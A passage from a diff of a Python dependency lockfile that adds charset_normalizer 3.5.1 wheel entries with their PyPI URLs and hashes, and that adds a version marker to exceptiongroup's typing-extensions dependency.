= "sha256:15f024313246a4ed976c60f440bb8d257815513a681d212ff74fd46f7d715a90", size = 251240, upload-time = "2026-08-15T08:18:18.127Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a5/cbe418bbc6ecdfc3e05a0116002897c4b403a5e838d697e64c78e9f0190d/charset_normalizer-3.5.1-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:823f82903d189af463d7df250ef1f7f696f3cee08cc8d91deb565e8d425f6506", size = 245282, upload-time = "2026-08-15T08:18:19.625Z" }, + { url = "https://files.pythonhosted.org/packages/cc/a4/689bb42e8e7cd492f3cb64907c6bc00ad247ec9a3628cd3f8eed126e8ae1/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:01e93745f7f219b703b60ba7afead36cfc4242782be5af484673fc500df12da5", size = 244597, upload-time = "2026-08-15T08:18:21.121Z" }, + { url = "https://files.pythonhosted.org/packages/c1/ce/9962938e179cf9f699d3f1e7b3114b5d7642dee6a893745229f9dd04f274/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:329fc3ccb63ad22d867d84c2adea759a64079a37ba4a343433b02c7a2816871e", size = 231376, upload-time = "2026-08-15T08:18:22.57Z" }, + { url = "https://files.pythonhosted.org/packages/85/54/46000450ada53bd9eac5429a2c8c54cd2d9b39c0c255f229aea9af0948a5/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:bb57753e36e4855b8ca375069482250a6246372331a3e4f3407eaebb007443f5", size = 266715, upload-time = "2026-08-15T08:18:24.235Z" }, + { url = "https://files.pythonhosted.org/packages/3d/bb/618749d70f792b44252a777bf89bfb86823b9bbc1ea13fe8ce759b07f38a/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:fce8cbd4997efeb450bd298b54f755dcdff18d496f7a5ddbb4867c6d7c88fdc3", size = 245848, upload-time = "2026-08-15T08:18:25.726Z" }, + { url = "https://files.pythonhosted.org/packages/7e/3f/ffb64458527c7668031d5eb095d978de561958dc9f5b53f8e488a533e603/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:6c9cdde8becb25a7fde49924511aa2644d6f8081cc8df8e9452724303348d8e3", size = 264521, upload-time = "2026-08-15T08:18:27.193Z" }, + { url = "https://files.pythonhosted.org/packages/4f/ab/74a55fd803916a35ac461daf002708191aac19b546b80dc8cabfedc63d98/charset_normalizer-3.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9ac4444d8d4fd4c4bd08bf451ed3167aa9e7ec6cdb41b648794f1d1103652e36", size = 253054, upload-time = "2026-08-15T08:18:28.568Z" }, + { url = "https://files.pythonhosted.org/packages/a0/2a/6a9034b7d3c60b17499afb482df5878bf9fa20b50cc3887d5ef017a833db/charset_normalizer-3.5.1-cp314-cp314-pyemscripten_2026_0_wasm32.whl", hash = "sha256:f03ac127268b43ef4fe9e6ab6794a6794b49485a0cc0c1db79876d2f33f75bc7", size = 140580, upload-time = "2026-08-15T08:18:30.214Z" }, + { url = "https://files.pythonhosted.org/packages/f3/46/1d362e1a00d035d66b9869e1281eee115907f7e390a16a07824ab5737360/charset_normalizer-3.5.1-cp314-cp314-win32.whl", hash = "sha256:1f5883d77fd409a261abb5dc8ccbe335720d798b1de4abb3b1d47ccbbc76b53b", size = 180325, upload-time = "2026-08-15T08:18:31.877Z" }, + { url = "https://files.pythonhosted.org/packages/7a/7c/4938c329b6a9d446f6a59aa2092ff7118f274209b5ed0e26893d1d30a63c/charset_normalizer-3.5.1-cp314-cp314-win_amd64.whl", hash = "sha256:c658c50ac0c98cd755a2dd50b7977d3bca7df401dcc47fbdfa87db53ef7d4e8b", size = 204175, upload-time = "2026-08-15T08:18:33.466Z" }, + { url = "https://files.pythonhosted.org/packages/ac/33/eeb384dbd8dec570661354592f4f2e1b2fcc92585624d146a000caf53841/charset_normalizer-3.5.1-cp314-cp314-win_arm64.whl", hash = "sha256:4bea7f8ebe90bbd7f0e4a2de42ca6924ba23e3e76418c408ff82f1d46fabd687", size = 184123, upload-time = "2026-08-15T08:18:34.913Z" }, + { url = "https://files.pythonhosted.org/packages/1c/6c/c73fa9d5a85f6ab05395de61c5f6984e0a9ff40bb5ff888d46dff02526c6/charset_normalizer-3.5.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:fbc597639158fd7c14d55e808718848319540f51b0e6746e3eefa59723a4a348", size = 381682, upload-time = "2026-08-15T08:18:36.349Z" }, + { url = "https://files.pythonhosted.org/packages/30/c7/63565f860921457feba93bae6c86fb7746deb4cffeed2f375cb845318146/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e71c909f353863b2b89c83de2ebed71ea6d0df8a6ef65a128193c5e650766bef", size = 240826, upload-time = "2026-08-15T08:18:37.887Z" }, + { url = "https://files.pythonhosted.org/packages/06/ae/7ae8807410dfa33f8e6f1715740adeaafa8a816cc4cb33508f54b1f7c896/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7ac76cf9afd34929d76eb7fcb63be476a4853d8a96f0dcf2d0db68a0cbdf9885", size = 227861, upload-time = "2026-08-15T08:18:39.315Z" }, + { url = "https://files.pythonhosted.org/packages/e9/a3/887c1642f0da26000b0e0652d91071113c0e72cea33952e225cf589f49a9/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a3a370082ce34d0612f421e15fe011c53bb1feff21a26d06ad4fb244dab5a375", size = 260758, upload-time = "2026-08-15T08:18:40.88Z" }, + { url = "https://files.pythonhosted.org/packages/3e/11/e6f5b9a3d0e55b0ef7505cd3765cdd48f22db89994c947b316f52f801fd8/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:256dd4d85d9e4dc595e2bc983c980e73f62ddeb3165c58b4c3dfe78c5c8548c1", size = 259950, upload-time = "2026-08-15T08:18:42.351Z" }, + { url = "https://files.pythonhosted.org/packages/1b/ee/e4e10a94d51cd1ee638aa7e00b65399e6b2a4e8376ab6d2eac9f95586671/charset_normalizer-3.5.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:58d4aa13a59c969dbfdf9e6a9560e242cbfd9e8a8f50c2747714df1a423adf65", size = 249329, upload-time = "2026-08-15T08:18:43.914Z" }, + { url = "https://files.pythonhosted.org/packages/c4/25/d5f4198819e6059735a84e8d0bfb72dc33976da67b97adcd3fb5a5e07ec6/charset_normalizer-3.5.1-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0c6dfb5ca6723eeed15aa8e564a014d69fcb8812f94eef11fe3631e0508199f5", size = 243137, upload-time = "2026-08-15T08:18:45.368Z" }, + { url = "https://files.pythonhosted.org/packages/a5/e9/e925ca7569cf9fb9701fd82503fee73eea5268fdb856bdd64947092d3daa/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c010f5581d9c612804cc59fcf7b524b707fbcb72828551237ab545bb5c7034af", size = 242820, upload-time = "2026-08-15T08:18:46.842Z" }, + { url = "https://files.pythonhosted.org/packages/34/17/672c251a888ed2aebcdd2fe830ad0104e25ff83c43f5c4f9c15e9fc6853c/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:52ec005752a56ae79547a05c0139ca2501a0c866390b6115008456b9f0e7cde1", size = 230504, upload-time = "2026-08-15T08:18:48.353Z" }, + { url = "https://files.pythonhosted.org/packages/3f/fc/f6a85abebd42ce4da2f1db0aa56cc6a0df1995e318b3875d14401b8381d1/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2bced4061f000f7187254a02ad3433ae17eaf991747ceea2f478422590a5bba9", size = 263087, upload-time = "2026-08-15T08:18:49.859Z" }, + { url = "https://files.pythonhosted.org/packages/98/66/7c42677e739ba66746b297e2046918d793078094dc239e1e72768cffccc6/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:9eea3ab2597a5e65fe65296e2d6a84570845a6b55532d90333d740d48bbc850a", size = 243269, upload-time = "2026-08-15T08:18:51.601Z" }, + { url = "https://files.pythonhosted.org/packages/de/d8/a50b79237f417af10f8c2a501ce8d1ca87829a22e69117891ca4ba20a69e/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:496846868fea80e479324862fa877f02411f2fd0f83b79ccee2607aa68b2a032", size = 258766, upload-time = "2026-08-15T08:18:53.23Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1d/0fc91aeaeb3c83b748f532399ce67cf84604b48297405d740000f7a9e786/charset_normalizer-3.5.1-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:85d5855daafc240cc045c026d7a15fd198a09b0fc8ff6f5ecbb5297b509cb11e", size = 250814, upload-time = "2026-08-15T08:18:54.768Z" }, + { url = "https://files.pythonhosted.org/packages/ae/10/3d8c777cf9024615295aa1b808324ad5b4a77855869c00824bad74ffaf8a/charset_normalizer-3.5.1-cp314-cp314t-win32.whl", hash = "sha256:58d3e12c88e0950bca850ae1f7c256055c097639c2edb9eb123af9807d8b15e4", size = 191074, upload-time = "2026-08-15T08:18:56.305Z" }, + { url = "https://files.pythonhosted.org/packages/4d/81/ae557d3c44d1a1d688696d60563413a0866a91b7ebc50f20df838be3d8c8/charset_normalizer-3.5.1-cp314-cp314t-win_amd64.whl", hash = "sha256:acaf604462bf330b0d07e7a07c1d6e4adac79e5fb13e9c5140590542cafacc00", size = 216476, upload-time = "2026-08-15T08:18:57.889Z" }, + { url = "https://files.pythonhosted.org/packages/27/e9/61c01fb8b804692569c036b3fc50495814502dcf13a60649c6055390b02c/charset_normalizer-3.5.1-cp314-cp314t-win_arm64.whl", hash = "sha256:fdb8a068947befafba9952162645dc2fecaeb400e64584829ed5e9b2fbe21a7f", size = 194115, upload-time = "2026-08-15T08:18:59.418Z" }, + { url = "https://files.pythonhosted.org/packages/4a/4e/8544831ef59d8f27ce92c80871380fdacc8076a8a56ed62f82e54f991333/charset_normalizer-3.5.1-cp315-cp315-macosx_10_15_universal2.whl", hash = "sha256:9085f87b0e38a2b92b8923059b4e8789fe40d9279712d15dcc670048d77079af", size = 342048, upload-time = "2026-08-15T08:19:01.054Z" }, + { url = "https://files.pythonhosted.org/packages/7f/a6/e3b46852424246065355644f4fb6dbccc0239a42a2eee27ecfc8957f0bcd/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2679de311c7946dde5d3b6f44941844133ff5c7cb86099c0061ab1e8901c20a8", size = 242997, upload-time = "2026-08-15T08:19:02.492Z" }, + { url = "https://files.pythonhosted.org/packages/03/3b/0cc9a26777334ab2f2e3089b948bbf4e4fe72ea70b897715ef6415043ec8/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:baf3775a2635e5a11fbd5e4e64ee69c7e86875d224a5c72aca4c141064589a90", size = 237014, upload-time = "2026-08-15T08:19:03.943Z" }, + { url = "https://files.pythonhosted.org/packages/8c/c2/027335f0aa337a2a2e121bac1ad88c4f02ba6053ea0926802784f3db11af/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8ac8c94b6539074e0f40899301273ac8402b9b3e01c7b7ba269ff30340aaaf20", size = 266174, upload-time = "2026-08-15T08:19:05.598Z" }, + { url = "https://files.pythonhosted.org/packages/86/d3/e367787febe4e74769dec0f406f2c3c8d1b955fce5aee1fd0f94e8367a45/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8fe532b3c966d1fb794e0698e4589d0444017ae77fc0b31edea13c0e35bcc449", size = 263361, upload-time = "2026-08-15T08:19:07.251Z" }, + { url = "https://files.pythonhosted.org/packages/af/3d/391b193eb9f3e84b02f9314088c386debdc0debee843535aaea2e2c6715d/charset_normalizer-3.5.1-cp315-cp315-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5c84bec0ab5ae0c64bfe73a7d2adcb5ce73b467523fc27fd6a28ab2aa6cbe35a", size = 252143, upload-time = "2026-08-15T08:19:08.816Z" }, + { url = "https://files.pythonhosted.org/packages/2e/57/de221f1745a90d418199761967e2776bfe2c275a1194220985e8c1d37833/charset_normalizer-3.5.1-cp315-cp315-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:854066be00447fa8de2ccbbe893e2ffc4b123ef16d897af794c1e18bd4a714b0", size = 252086, upload-time = "2026-08-15T08:19:10.255Z" }, + { url = "https://files.pythonhosted.org/packages/c8/e3/d119f86a01f9331e8186175f24873b1d74a7ee9e2e4b4d68f9947dae5afd/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:21b82d8082f6f5e7f456ef0bd16323d08de1266efbfeb476e64b2a91d1471a4e", size = 245231, upload-time = "2026-08-15T08:19:11.807Z" }, + { url = "https://files.pythonhosted.org/packages/26/de/d8e48c135ae480879539cdb179c8d3b50c7879497d75dd899b5763b69cee/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_armv7l.whl", hash = "sha256:838648accb3a7fd9803fd45c87bce8509648eb0c11bc34e216141300977244f2", size = 241546, upload-time = "2026-08-15T08:19:13.416Z" }, + { url = "https://files.pythonhosted.org/packages/67/c4/217755fd1abc50d326c252922cd642002758095a81ff45010337b8b3ef65/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_ppc64le.whl", hash = "sha256:195ce897c6153c0700078142cf8efe3e6454ca4cf4357499e4078dfd83396626", size = 267033, upload-time = "2026-08-15T08:19:14.981Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d7/34d8e404e358d2adcc5a228c2134643af00104c8fb0bf525f3688d756f05/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_riscv64.whl", hash = "sha256:978eab16f55b4ab2c2a745be9a0a840bf8f09a7f227d9c76eb30214d078865a5", size = 252045, upload-time = "2026-08-15T08:19:16.618Z" }, + { url = "https://files.pythonhosted.org/packages/5e/fa/40414471acf0aa0692ca77305aa00e434fcd8288f0941c93c30e9a5f8f2f/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_s390x.whl", hash = "sha256:cc0329df4caaceb950d2f580b5ac716a377f7059624a0bafaeaf8a218c6ed774", size = 264866, upload-time = "2026-08-15T08:19:18.101Z" }, + { url = "https://files.pythonhosted.org/packages/32/90/fcc850bae791abd2e0c041847f13e270aa08692a79f3e00de6d2dce1cb50/charset_normalizer-3.5.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:687c9ca3035544b113bea2055e180af96fb63c0c476e22a9180f51925186e7b7", size = 253932, upload-time = "2026-08-15T08:19:19.734Z" }, + { url = "https://files.pythonhosted.org/packages/af/af/53afe99068b3c10b4cbae592a52ef72a7c92c0188440e83ee3a078fd8f75/charset_normalizer-3.5.1-cp315-cp315-win32.whl", hash = "sha256:706bfd38730a5ac7a365793269a00f4e988178cec121391f4248d84ad8c972e9", size = 180320, upload-time = "2026-08-15T08:19:21.37Z" }, + { url = "https://files.pythonhosted.org/packages/c9/bc/f46a132041b29e4a8779ed712d3df1bf112e94ca8de58b66d7ec2c0cf8b9/charset_normalizer-3.5.1-cp315-cp315-win_amd64.whl", hash = "sha256:92caef967d287a407085d61176fce4012b1dd62daed4eb6d5ceb26d3d2538712", size = 204174, upload-time = "2026-08-15T08:19:23.088Z" }, + { url = "https://files.pythonhosted.org/packages/a1/5d/9ed554480eda8e447b673648628fdc29574d23dbad01fe11837adedd1cae/charset_normalizer-3.5.1-cp315-cp315-win_arm64.whl", hash = "sha256:5fc45d653ea8c9a20479167e11d4a0f8cb2fa3470737ab6f9c827532313187b7", size = 184126, upload-time = "2026-08-15T08:19:24.471Z" }, + { url = "https://files.pythonhosted.org/packages/3b/32/9b8929bf384061ee1fe5d9c27c6f9776d3d824039ad4e14c88ec00c7808e/charset_normalizer-3.5.1-cp315-cp315t-macosx_10_15_universal2.whl", hash = "sha256:59171c6e45bf07d0d5cab3b0bf81d945035530f6873398b3b531c31184d46663", size = 381441, upload-time = "2026-08-15T08:19:26.038Z" }, + { url = "https://files.pythonhosted.org/packages/96/10/e9aa7923d3ddac652c99a1c5f7be494e737e151566a44abe018daf757f2c/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9dbdd9205662134957cf0c324f639bdc5031c0ca056e2369e238db75187c0f11", size = 241742, upload-time = "2026-08-15T08:19:27.532Z" }, + { url = "https://files.pythonhosted.org/packages/28/53/a2d249ebddf47b889a100c0bdcb61a2f9dbb8bc24ef325cc062e4f476877/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:e4b018dc5a0eee4676e38fe84a47a427816c590b93b55d9025274ec4d6ffc2dc", size = 235298, upload-time = "2026-08-15T08:19:29.274Z" }, + { url = "https://files.pythonhosted.org/packages/7d/07/469f78af590f7d5cd48e20d8dbfa3d66deeff9ba37768c04d886b5afd45c/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ced3fdd71aaa83ce593746c2edb42b7a59cb4c19c8b5c407781c72e493aae55a", size = 262500, upload-time = "2026-08-15T08:19:30.955Z" }, + { url = "https://files.pythonhosted.org/packages/55/66/3bb56a47f7dcba014055b1a1d33c6f08bbe9c1e74dba154cfa25f90ae885/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:19a3dd5aa73cef1c99687c4fc57db016a9c17104ae1185da88ba566a5d3bebe4", size = 258888, upload-time = "2026-08-15T08:19:32.458Z" }, + { url = "https://files.pythonhosted.org/packages/ff/c1/2adc2800903fb013210349313b710a5376856578d9e33e6b9a1d8b36714a/charset_normalizer-3.5.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:cc5d36d96478aa9c60654bd932525bf32964c62a7281eafdf16d85003a8d6004", size = 250243, upload-time = "2026-08-15T08:19:33.94Z" }, + { url = "https://files.pythonhosted.org/packages/95/b5/a18d0dd1157ab655cc2cb14a545f4a4784bbad70ab3502412e36097502d9/charset_normalizer-3.5.1-cp315-cp315t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:04368edf83514385ffc3e1cfd4546e595f4f1272dd23ba437a93a9cc3741d47b", size = 249871, upload-time = "2026-08-15T08:19:35.413Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c3/525f508cd1e58d0450ac55ed40ac75bc3a97482c59def5278456a5fbf03c/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:9b5db6052055d34d41230fb78d7c439c23dc536a9896f6cb039e8dd92cfc1263", size = 243580, upload-time = "2026-08-15T08:19:36.886Z" }, + { url = "https://files.pythonhosted.org/packages/7c/c1/49a91fe7e97c8140094ca5c64161ab623a70d9f636bf834eace14048acb5/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_armv7l.whl", hash = "sha256:252d099029bcbea642f2a06c4ed5046bdf8b5a8150b64afa5e027e88b106e5ee", size = 239807, upload-time = "2026-08-15T08:19:38.392Z" }, + { url = "https://files.pythonhosted.org/packages/d3/58/56a48c296601274c4689b864a8e2dfb209b81dfcb39472753ce95eea662b/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_ppc64le.whl", hash = "sha256:6199d5606e2bbf2b096cf64d03f8b6790c91081d5ac866b8e7bb6422738cc60c", size = 264083, upload-time = "2026-08-15T08:19:39.856Z" }, + { url = "https://files.pythonhosted.org/packages/10/4c/dc48409274a1817ff349711d26c62aa0c597df865d4d69ef79160c859193/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_riscv64.whl", hash = "sha256:77efcff2b23071c349402ac1066667a3d011f62398d81408c9b88ad991747c9e", size = 250317, upload-time = "2026-08-15T08:19:41.53Z" }, + { url = "https://files.pythonhosted.org/packages/81/58/d325912115caec62d6bdd77bbab5e0b7da5d234a9f20affdffcbcb530d0b/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_s390x.whl", hash = "sha256:a5cbd90ecf0fc62e64726917ad083b73001f0563657a87ec3c0b504e277dc90d", size = 258173, upload-time = "2026-08-15T08:19:43.07Z" }, + { url = "https://files.pythonhosted.org/packages/34/f7/b13b1ccae2c8ec63980d13be1890eb73f8aeabbfce02a24aabc0908788f5/charset_normalizer-3.5.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:4d26f14f041e83dd8edfd61f4cd4fa7285d31798b5bf1f28e70c367ba6c41d61", size = 251960, upload-time = "2026-08-15T08:19:44.587Z" }, + { url = "https://files.pythonhosted.org/packages/1e/25/ed3f9919c5aef8cc818be1f972f565f7610d7b2076b8ebb98839516ffc3c/charset_normalizer-3.5.1-cp315-cp315t-win32.whl", hash = "sha256:ac13b004224fb341e1e25a1ed5e19d32f57cdb2a403e01f003b46f051a550f6f", size = 191186, upload-time = "2026-08-15T08:19:46.293Z" }, + { url = "https://files.pythonhosted.org/packages/69/d5/43c2b3e9d8267092b913eb8b0603f0f71993c395632886bd37a7223f96cf/charset_normalizer-3.5.1-cp315-cp315t-win_amd64.whl", hash = "sha256:35aea775dc2bd5f54cd84a1cd2696cc3207c479cb9cf0bd346f0d343e4300ddb", size = 215947, upload-time = "2026-08-15T08:19:47.853Z" }, + { url = "https://files.pythonhosted.org/packages/a8/76/9aad3e9c8865e5e0efa9a7f6f81c37a67635a985145ecd44528a81e088ee/charset_normalizer-3.5.1-cp315-cp315t-win_arm64.whl", hash = "sha256:fb78f6e7fcd8ad785d28cd577168bc1aaee827b25bb8755638f694794ea98f0a", size = 193909, upload-time = "2026-08-15T08:19:49.383Z" }, + { url = "https://files.pythonhosted.org/packages/5b/97/fb4e82231aba271ffd775a1b4993b0defc4e3059f286ae41d9433409fe85/charset_normalizer-3.5.1-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:41876ee62a3dddf48ff1121ad8f0798032aa03f2fd35f21f34a4cab14f18d8d2", size = 331467, upload-time = "2026-08-15T08:19:50.959Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2f/fe3f187327aac18e2d54e9d2b08e15d27bf9b642d9e51c219f130fc34d1a/charset_normalizer-3.5.1-cp37-abi3-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:a6dac12ff6b846103483683f60c5f8fee205121adc58ffd87e90a90a3af69e99", size = 253057, upload-time = "2026-08-15T08:19:52.654Z" }, + { url = "https://files.pythonhosted.org/packages/d7/c7/9e48cee5c161fe24da823b61bf381921d77cb994a0a4de148e95018c1984/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cee5dd7c6fb5dd52a0fe2a740f9bc6e3593f5f8b1788bde49de02086f30182b2", size = 240930, upload-time = "2026-08-15T08:19:54.163Z" }, + { url = "https://files.pythonhosted.org/packages/49/e0/716601f3cc69be7b198951150c75ead1ece33c3c8036ff6ffa46029659a0/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:343fb4f2821043bd87095f7b08a1a181febc8e36ac64212143bbfd0a0e1bc235", size = 230822, upload-time = "2026-08-15T08:19:55.807Z" }, + { url = "https://files.pythonhosted.org/packages/d3/05/71bfc5caa0abcc45aea1f6a4d50ac68e59605ddc7666fe8494f4cd229665/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ae4a097991662cd4fff0ddc74e0fe7874f82e00042fa0ea00855645ed0c79598", size = 260037, upload-time = "2026-08-15T08:19:57.312Z" }, + { url = "https://files.pythonhosted.org/packages/c3/92/de7e32ed05341e7a9c4c877c318418197b7f2d66a3b68d561bf2ac57ca3e/charset_normalizer-3.5.1-cp37-abi3-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:4b599739b93b2cbeded49645ae3c8d1405c29ddfbceac1545c87a3f9580a9e96", size = 255097, upload-time = "2026-08-15T08:19:59.056Z" }, + { url = "https://files.pythonhosted.org/packages/f5/7b/ade0a122600319dfa0b1000ab0f9731c94a817904cf3c5de408c73a4ede7/charset_normalizer-3.5.1-cp37-abi3-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b39b69b347e5e47a3b5b8cfc005c68c1ba347474e3960236c4944a8ecd174962", size = 250166, upload-time = "2026-08-15T08:20:00.612Z" }, + { url = "https://files.pythonhosted.org/packages/75/9c/019fbb9f4834491a160951349b1a3714439376f66e5f7cf18b4f18f0c7aa/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:a2028475ba855475b8b4d3cfeb4994269c967aea8b9892dfba907f4263a863a3", size = 241821, upload-time = "2026-08-15T08:20:02.321Z" }, + { url = "https://files.pythonhosted.org/packages/2b/b8/11d4840bfc99330cc7fbcc2681ee5a044553a6e77655508d8f9b2bff7b34/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_armv7l.whl", hash = "sha256:36047af20e17097c3bb9476c2b7655f2f7aa51322c0ba58c07695bedf755a950", size = 232529, upload-time = "2026-08-15T08:20:04.008Z" }, + { url = "https://files.pythonhosted.org/packages/18/96/2b3a21492d9f65171ac75d872f5018260013d00bfa0ff70ec9f179148cbd/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_ppc64le.whl", hash = "sha256:4c4fb141a727957c93edfe5c32a26ceb6b5f6461d67146e2d39f51e16170bea8", size = 260348, upload-time = "2026-08-15T08:20:05.877Z" }, + { url = "https://files.pythonhosted.org/packages/d6/aa/a69a2028e8bd052476c245460ab19d7de595de084dd968f2d75cd50c3e25/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_riscv64.whl", hash = "sha256:2f293479cce755c75f1697e87c409b7ae4c555c7dfecb6e988ad13abba943031", size = 247234, upload-time = "2026-08-15T08:20:07.487Z" }, + { url = "https://files.pythonhosted.org/packages/35/8a/3d130aeabcaf3d2466af76b7b141c08d9e89c9016ab4b7cdd0f7dc2d1c62/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_s390x.whl", hash = "sha256:3588e376b3ea2eea84976f67273d679f229e24c66dce7b82ae45aef04ff6e072", size = 256917, upload-time = "2026-08-15T08:20:09.142Z" }, + { url = "https://files.pythonhosted.org/packages/80/c2/a7379b840292d0c1ab9fbd17d1f3967aa81794dc95bc74be8999d7fedcf7/charset_normalizer-3.5.1-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:e199fb99720074809a7720f1c0b4d919eea8b87e88713e0f8f602f7bef543d9d", size = 254846, upload-time = "2026-08-15T08:20:10.727Z" }, + { url = "https://files.pythonhosted.org/packages/01/65/d43b714731bb2f40d4053dfa00ecfc1c5a301f8e3316c5db3a09af59fe94/charset_normalizer-3.5.1-cp37-abi3-win32.whl", hash = "sha256:dd732602a7009217f658d5863d12d79d373a4de0eebc111094bcdd3bb8e0a6cc", size = 174216, upload-time = "2026-08-15T08:20:12.334Z" }, + { url = "https://files.pythonhosted.org/packages/35/4f/b911ed898b26a09789eba9c9200c999aff6c61b4bafaf4838e56d1a1e1a3/charset_normalizer-3.5.1-cp37-abi3-win_amd64.whl", hash = "sha256:70055ff39b97c99e7ae40ea3e393fb62aa2e44dbd9b29f8d14f42fb0025c3959", size = 199764, upload-time = "2026-08-15T08:20:13.908Z" }, + { url = "https://files.pythonhosted.org/packages/f0/a7/920baf467bfd9bf689f3b318340f37aee4572a71f162bd8db51da55ba4fa/charset_normalizer-3.5.1-cp37-abi3-win_arm64.whl", hash = "sha256:87e4f41d375c0b9be2fb5251aee4b8a689169e134535aed81bf085c3b647451e", size = 287318, upload-time = "2026-08-15T08:20:15.551Z" }, + { url = "https://files.pythonhosted.org/packages/cc/61/d01fc49b8dea277640b55a9e15960dbca9fdc8c9fde18e572d39c59f4019/charset_normalizer-3.5.1-py3-none-any.whl", hash = "sha256:6df0ec430f9a831772c23ca5a224cba36517a58a84bb32c32bb59a9fa67c47f6", size = 68658, upload-time = "2026-08-15T08:20:43.306Z" }, ] [[package]] @@ -700,7 +776,7 @@ name = "exceptiongroup" version = "1.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "typing-extensions" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = 